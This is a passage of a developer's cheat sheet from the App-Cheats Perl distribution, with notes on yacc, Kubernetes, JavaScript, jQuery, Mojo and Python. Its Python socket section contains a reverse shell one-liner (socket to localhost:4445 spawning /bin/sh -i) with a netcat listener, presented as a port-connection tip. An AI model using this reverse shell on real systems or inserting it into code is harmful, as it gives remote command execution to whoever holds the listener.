App-Cheats

 view release on metacpan or  search on metacpan

cheats.txt  view on Meta::CPAN

#          (excluding INITIAL) would need to be mentioned like this (due to a possible bug):
#          <STATE_1,STATE_2,STATE_3 ... ,STATE_N><<EOF>> { BEGIN(INITIAL); }
#
#          It is therefore more convenient that the parser host (that is cwrapper.cpp) were to perform
#          a more thorough purging after utilizing the parser by executing the function yylex_destroy()
#
# --------------------------------------------------------------------------------------------------------*/

# Test yacc program to take .y file and convert it into a parsing file (OMS,parse,regex)
cat <HERE >my.y
%token A B C D E
%%
list: A B C
   | de
de : D E
HERE


#############################################################
## CKAD (Certified Kubernetes Application Developer) Course
#############################################################

# Useful kubectl commands (CKAD)
kubectl run hello-minikube
kubectl cluster-info
kubectl get nodes

# Docker vs containerd (CKAD)
Docker (d) became the tool.
Originally kubernetes only supported docker.
Kubernetes (k) introduced Contrainer Runtime Interface (CRI)
  - Contains Open Container Initiative (OCI)
  - Anyone can build a container runtime.
  - Other container runtimes: rkt
  - Docker was not built to support CRI standards.
  - dockershim - hack to still support docker by k.
  - containerd can be used on its own.
  - in version 1.24 of k, dockershim and docker support was removed.
  - containerd is a separate project (no need for docker).
  - ctr comes with containerd (not user friendly)
    - very limited.
    - ctr images pull ...
    - ctr run ...
    - IGNORE it
  - nerdctl (n)
    - like docker, plus new features from containerd.
    - lazy pulling,
    - image signing.
    - n run -p 80:80
    - For general purpose.
  - crictl
    - Interacts with CRI compatible tools.
    - Not ideal for making containers.
    - kubectl is unaware of its usage and may delete pods made using this tool.
    - crictl pull ...
    - crictl images
    - crictl ps -a
    - crictl exec -it ... ls
    - crictl logs ...
    - crictl pods
    - crictl --runtime-endpoint (?)
    - For DEBUGGING.

# Pods recap (CKAD)
Pod
- Smallest possible creatable object.
kubectl (k)
k run nginx --image nginx
k get pods

# Pods with yaml (CKAD)
# Main fields:
apiVersion: v1 # version of k api
kind: Pod
metadata:
    name: myapp-pod
    labels:
        app: myapp
spec:

# Build manifest files quickly from scratch (CKAD,kubectl)
k run --dry-run=client --image nginx myapp -o yaml > myapp.yaml
k create -f myapp.yaml

# Take existing pod and make yaml manifest. (CKAD,kubectl)
k get pods -o yaml

# Edit existing pod (CKAD)
To modify the properties of the pod,
you can utilize the
kubectl edit pod <pod-name> command.
Please note that only the properties
listed below are editable:
    spec.containers[*].image
    spec.initContainers[*].image
    spec.activeDeadlineSeconds
    spec.tolerations
    spec.terminationGracePeriodSeconds

# ReplicaSets (CKAD,kubectl)
Provides:
- High Availability (HA)
- Load balancing and scaling.
- Replication Controller (old)
- ReplicaSet (new)
  - Requires a selector section.
  - Can manage pods not originally created by it.

# Deployments (CKAD,kubectl)
# Uses ReplicaSet.
# Also rolling, seamless updates and rollbacks.
k create deployment myapp --image=nginx --dry-run=client -o yaml > dep.yaml

# View all objects created (CKAD,kubectl)
k get all

# Output options (CKAD,kubectl)
-o <OPTION>
    json
    name
    wide

cheats.txt  view on Meta::CPAN



#############################################################
## Javascript - General
#############################################################

# Efficient way in javascript to insert text as html (append to body)
document.querySelector('#id').insertAdjacentHTML('beforeEnd', to_add)
# (works fast, but script tags are not usable).
#
# Use this to allow using script tags
$(id).append(details_rc);

# Stack trace in javascript (js).
try {
    // Code throwing an exception
    throw new Error();
} catch(e) {
    console.log(e.stack);
}

# Javascript log function wrapper.
log (...args) {
    const verbose = false;
    if (verbose) {
        console.log(`[${this.name}]`, ...args);
    }
},


#############################################################
## Javascript - Ajax
#############################################################

# Javascript loaded in via ajax is not automatically executed.

# AJAX Javascript Example
function loadDoc() {
  var xhttp = new XMLHttpRequest();
  xhttp.onreadystatechange = function() {
    if (this.readyState == 4 && this.status == 200) {
     document.getElementById("demo").innerHTML = this.responseText;
    }
  };
  xhttp.open("GET", "ajax_info.txt", true);
  xhttp.send();
}

# AJAX Javascript Example (simpler)
# 'onload' is newer and a replacement for 'onreadystatechange' with the state check
function loadDoc() {
  var xhttp = new XMLHttpRequest();
  xhttp.onload = function() {                       // <== Difference
     document.getElementById("demo").innerHTML = this.responseText;
  };
  xhttp.open("GET", "ajax_info.txt", true);
  xhttp.send();
}

# Submit a form using ajax. (prevents auto reload)
function save_details(endpoint) {
    console.log("POST ", endpoint);
    const form  = document.querySelector("form[id=details]");
    const xhttp = new XMLHttpRequest();
    xhttp.open("POST", endpoint);
    xhttp.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
    xhttp.send( $("#details").serialize() );
}


#############################################################
## Javascript - Attributes
#############################################################

# Set/Get meta data for an HTML element
form = document.querySelector("form[id=details]");
form.setAttribute('_meta', "my_meta")
form.getAttribute('_meta')


#############################################################
## Javascript - Benchmark
#############################################################

# Time a function in javascript (benchmark)
# Not really accurate
const startTime = new Date().getTime();
const endTime = new Date().getTime();
console.log("sort function took " + (endTime-startTime) + "(ms)")

# Function for benchmarking different code snippets (timing,testing,profiling)
# Simple.
function benchmark(functions,iterations=1) {
  for(const code of functions){ // foreach loop in javascript
    const name = code.name;     // Code refence to name
    console.time(name);         // Timing/benchmarking function
    for(let i = 1; i <= iterations; i++ )
      code();
    console.timeEnd(name);
  }
}
# Usage
benchmark([get_head_checkbox, get_head_checkbox2]);
benchmark([get_head_checkbox, get_head_checkbox2],10000);

# Function for benchmarking different code snippets (timing,testing,profiling)
# Includes percentages and sorted.
// function benchmark() {
//   // Get inputs
//   let   code_refs  = [...arguments];
//   let   iterations = 1;
//   const last_index = code_refs.length - 1;
//
//   // Check last input
//   if(typeof(code_refs[last_index]) == "number")
//     iterations = code_refs.pop();
//
//   // Check for tests
//   if(!code_refs.length)
//     return;
//
//   const stats = [];
//
//   // Get statistics
//   for(const code of code_refs){           // foreach loop in javascript

cheats.txt  view on Meta::CPAN

# Import a javascript file dynamically
function import_js(file) {
    const script = document.createElement("script");
    script.src = file;
    document.querySelector("#id").appendChild(script);
}


#############################################################
## Javascript Commands - getBoundingClientRect
#############################################################

# Javascript function to check if child element is visible in the parent
function isVisible(element,parent) {
    const elementBox = element.getBoundingClientRect();
    const parentBox  = parent.getBoundingClientRect();
    let visible      = 0;
    let up;
    if(elementBox.top < parentBox.top){
        up = 1;
    }
    else if(elementBox.bottom > parentBox.bottom){
        up = 0;
    }
    else {
        visible = 1;
    }
    return {visible: visible, up: up};
}
//
// Usage
const view = isVisible( activeOption, OptionsDiv );
if(! view.visible){
    activeOption.scrollIntoView(view.up);
}


#############################################################
## Javascript Commands - removeChild
#############################################################

# Remove all the children of an element (javascript)
while(element.firstChild)
    element.removeChild(element.firstChild);


#############################################################
## Javascript Commands - table
#############################################################

# Output a table from data in Chrome console
console.table([{a:1,b:2},{a:3,b:4},{b:5,a:2}])


#############################################################
## JQuery - Ajax
#############################################################

# Submit a form using ajax. (structured format,compact)
function submit_form(file_root_name) {
    const endpoint = "/my_endpoint";
    console.log("POST ", endpoint);
    $.ajax({
        url: endpoint,
        headers: {
            'Content-type': 'application/x-www-form-urlencoded',
        },
        method: 'POST',
        data: $("#id").serialize(),
    });
}

# GET request using ajax
$.ajax({
    url: path,
    method: 'GET',
    success: (data, status, xhr) => {
        body.innerHTML += data;
    },
    error: (xhr,status,reason) => {
        cancel_callback();
        if(status == "timeout"){
        	alert("ERROR Making request);
        }
        else{
            const data = xhr.responseText;
            console.log(`status: ${status}, data: ${data}, reason: ${reason}, xhr: `, xhr);
            show_error_dialog(data);
        }
    },
});


#############################################################
## JQuery - Attributes
#############################################################

// Remove an attribute in jQuery
$('.ui-tooltip[id*=ui-id-]')
	.clone()
	.removeAttr("id")
	.removeAttr("opacity")
	.appendTo("body");


#############################################################
## JQuery - Benchmark
#############################################################

# Avoiding the Universal selector (JQuery,Optimizations,Permformance,Speed)
$('form :checkbox');			// Same ...
$('form *:checkbox');			// as this.
$('form input:checkbox');		// 200% faster
$('input:checkbox', 'form');	// Best
#
benchmark(()=>$('#table .row :checkbox'), ()=>$('#table .row input:checkbox'), ()=> $('#table .row *:checkbox'), ()=>$('.row input:checkbox', '#table'), ()=>$('input:checkbox', '#table .row'), ()=>$('#table .row input[type=checkbox]'),100)
0: $('#table .row input[type=checkbox]') 59.09ms  (1124%)
1: $('#table .row input:checkbox')		 205.39ms (252%)
2: $('.row input:checkbox', '#table')	 212.22ms (241%)
3: $('#table .row *:checkbox')			 663.52ms (9%)
4: $('input:checkbox', '#table .row')	 719.50ms (1%)
5: $('#table .row :checkbox')			 723.14ms (0%)

# Improving the Class selector (JQuery,Optimizations,Permformance,Speed)

cheats.txt  view on Meta::CPAN

Build manifest
Build manifest_skip
Build distmeta
Build distcheck

# Build and run a perl distribution (module-starter)
Build.PL
Build       # Can use tab completion.
Build test
RELEASE_TESTING=1 Build test
Build disttest
Build dist


#############################################################
## Perl Modules - Mojo
#############################################################

# Mojo DSL
  monkey_patch $caller,
    a => sub { $caller->can('any')->(@_) and return $ua->server->app },
    b => \&b,
    c => \&c,
    d => sub { $ua->delete(@_)->result },
    f => \&path,
    g => sub { $ua->get(@_)->result },
    h => sub { $ua->head(@_)->result },
    j => \&j,
    l => sub { Mojo::URL->new(@_) },
    n => sub (&@) { say STDERR timestr timeit($_[1] // 1, $_[0]) },
    o => sub { $ua->options(@_)->result },
    p => sub { $ua->post(@_)->result },
    r => \&dumper,
    t => sub { $ua->patch(@_)->result },
    u => sub { $ua->put(@_)->result },
    x => sub { Mojo::DOM->new(@_) };
}

# Download a PDF file using Perl
# Will not download if it is already up to date. (by etag)
perl -Mojo -E "my $q=chr 34; sub get_etag($tx){ $tx->result->headers->etag =~ s/^$q|$q$//gr; } my $ua = Mojo::UserAgent->new; my $url = Mojo::URL->new('https://hop.perl.plover.com/book/pdf/HigherOrderPerl.pdf'); my $f = $url->path->parts->[-1]; my $t...

# Fetch latest unicode characters (Windows)
perl -CSAD -Mojo -mcharnames -E "my $ua = Mojo::UserAgent->new; my $url = 'https://blog.emojipedia.org/whats-new-in-unicode-10/'; my $tx = $ua->get($url); die qq(Error getting) unless $tx->result->is_success; my $d = $tx->result->dom->find('ul:not([c...

# Fetch latest unicode characters (Linux)
perl -CSAD -Mojo -mcharnames -E 'my $ua = Mojo::UserAgent->new; my $url = "https://blog.emojipedia.org/whats-new-in-unicode-10/"; my $tx = $ua->get($url); die qq(Error getting) unless $tx->result->is_success; my $d = $tx->result->dom->find("ul:not([c...

# Make the client mojo page auto reload/refresh
plugin 'AutoReload';

# Create a simple mojo server and connect to it.
perl -Mojo -E 'say a("/status" => {text => "Active!"})->start("daemon", "-l", "http://*:8088")'
perl -Mojo -E 'a("/hello" => { text => "Welcome!" } )->start' get /hello
#
perl -Mojo -E 'a("/hello" => { text => "Welcome!" } )->start' daemon
perl -Mojo -E 'say a("/hello" => {text => "Hello Mojo!"})->start("daemon")'
perl -Mojo -E 'say a("/hello" => {text => "Hello Mojo!"})->start("daemon", "-l", "http://*:8080")'
mojo get http://127.0.0.1:3000/
#
# View local files on an endpoint:
perl -Mojo -E 'say a("/" => {text => "Hello Mojo!"}); a("ls" => sub{ my @files = glob "*/*"; $_->render( json => \@files) } )->start("daemon")'
mojo get http://127.0.0.1:3000/ls
#
# Show a message on connection.
perl -Mojo -E 'a("/" => sub{ say $_->req->to_string; $_->render( text => "123") })->start' daemon

# View available routes in a mojo server
perl -Mojo -E 'a("/hello" => { text => "Welcome!" } )->start' routes

# Easily create several routes.
perl -Mojo -E 'a "/" => {text => "Main"}; a("/hello" => {text => "Hello"})->start' daemon

# Use text in a CSS selector in Mojo.
perl -Mojo -E 'my $x = x("<A><B>Text1</B></A><A><B>Text2</B></A>"); say $x->at("b:text(Text2)")'
perl -Mojo -E 'my $x = x("<A><B>Text1</B></A><A><B>Text2</B></A>"); say $x->at("a:has(b:text(Text2))")'
perl -Mojo -E 'my $x = x("<A><B>Text1</B></A><A><B>Text2</B></A>"); say $x->at("a:has(b:text(/Text2/))")'


#############################################################
## Perl Modules - Mojo::Base
#############################################################

# Create accessor methods (like Mojo::Base::attr)
sub _has {
    no strict 'refs';
    for my $attr ( @_ ) {
        *$attr = sub {
            return $_[0]{$attr} if @_ == 1;    # Get: return $self-<{$attr}
            $_[0]{$attr} = $_[1];              # Set: $self->{$attr} = $val
            $_[0];                             # return $self
        };
    }
}
_has qw(
  path
  lol
  tree
  class_is_path
);


#############################################################
## Perl Modules - Mojo::ByeStream
#############################################################

# Perl Modules - Mojo::ByeStream
# Trying out various encryption algorythms.
perl -Me -e 'say b("abc")->$_ for qw( md5_sum sha1_sum hmac_sha1_sum )'
900150983cd24fb0d6963f7d28e17f72
a9993e364706816aba3e25717850c26c9cd0d89d
cc47e3c0aa0c2984454476d061108c0b110177ae

# Layman's md5 sum:
perl -E 'for(unpack "C32", "an apple a day"){ $s += $_} say $s'
1248
perl -E 'say unpack "%C*", "an apple a day"'
1248
#
# Better ways
perl -Me -e 'say b("an apple a day")->md5_sum'

cheats.txt  view on Meta::CPAN

#############################################################

# Python bottle module routing options
self.app.get("/<f:path>")(lambda f: bottle.static_file(f, root=path))
self.app.get("/<file:path>")(lambda file: self.get_static_file(file,path))
#
def get_static_file(self,file,path):
    self.logger.debug("get_static_file(file:{},path={})".format(file,path))
    # Remove option timestamp/UID: version--UID--123.js
    file = re.sub(self.is_uid,'',file)
    return bottle.static_file(file, root=path)
#
#
The following filters are implemented by default and more may be added:
:int matches (signed) digits only and converts the value to integer.
:float similar to :int but for decimal numbers.
:path matches all characters including the slash character in a non-greedy way and can be used to match more than one path segment.
:re allows you to specify a custom regular expression in the config field. The matched value is not modified.


#############################################################
## Python Modules - datetime
#############################################################

# Get yyyymmmdd format in Python from a integer Epoch string
python -c "import datetime; import os; s=os.stat('version.js'); t=datetime.datetime.fromtimestamp(int(s.st_mtime)).strftime('%Y%m%d%H%M%S'); print(t)"
20210203102701

# Print current time in about YYYYMMDD
python -c "import datetime; print(datetime.date.today().strftime('%Y%m%d'))"

# Current timestamp as a string
python -c "from datetime import datetime; print(datetime.now(tz=None))"


#############################################################
## Python Modules - gevent
#############################################################

# Using gevent in a python webserver
#
import gevent.pywsgi
import geventwebsocket
import geventwebsocket.handler
class Server:
    def __init__(self,...):
        self.server = gevent.pywsgi.WSGIServer((address, port), self.app,
            handler_class=geventwebsocket.handler.WebSocketHandler)


#############################################################
## Python Modules - json
#############################################################

# Using json in a python webserver
#
import json
class Server:
    def info(self):
        try:
            return json.dumps(possible_endpoints)
        except KeyError:
            return bottle.HTTPError(404, "Error occurred")


#############################################################
## Python Modules - logging
#############################################################

# Log format to use for the logger
log_format = '%(asctime)s %(levelname)s %(module)s.%(funcName)s:%(lineno)d %(message)s'

# Using rotating logs in python (at midnight the log file changes)
import logging.handlers
file_handler = logging.handlers.TimedRotatingFileHandler(filename=log_file, when="midnight")


#############################################################
## Python Modules - os
#############################################################

# Python get the current working directory (dirname)
this_dir = os.path.dirname(os.path.realpath(__file__))

# Example of using system command in python.
python3 -c 'import os; os.system(" ".join(["which", "mid2agb"]))'


#############################################################
## Python Modules - SimpleHTTPServer
#############################################################

# View linux files from windows (debug,pi)
python -m SimpleHTTPServer 8080
http://172.17.17.10:8080/


#############################################################
## Python Modules - socket
#############################################################

# Create a port that can be connected to with netcat
/usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("localhost",4445));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
nc -nlvp 4445


#############################################################
## Python Modules - sys
#############################################################

# Flushing output in Python
import sys
sys.stdout.flush()


#############################################################
## Python Modules - time
#############################################################

# Seconds since epoch
python -c "import time; print(time.time())"



( run in 2.812 seconds using v1.01-cache-2.11-cpan-63c85eba8c4 )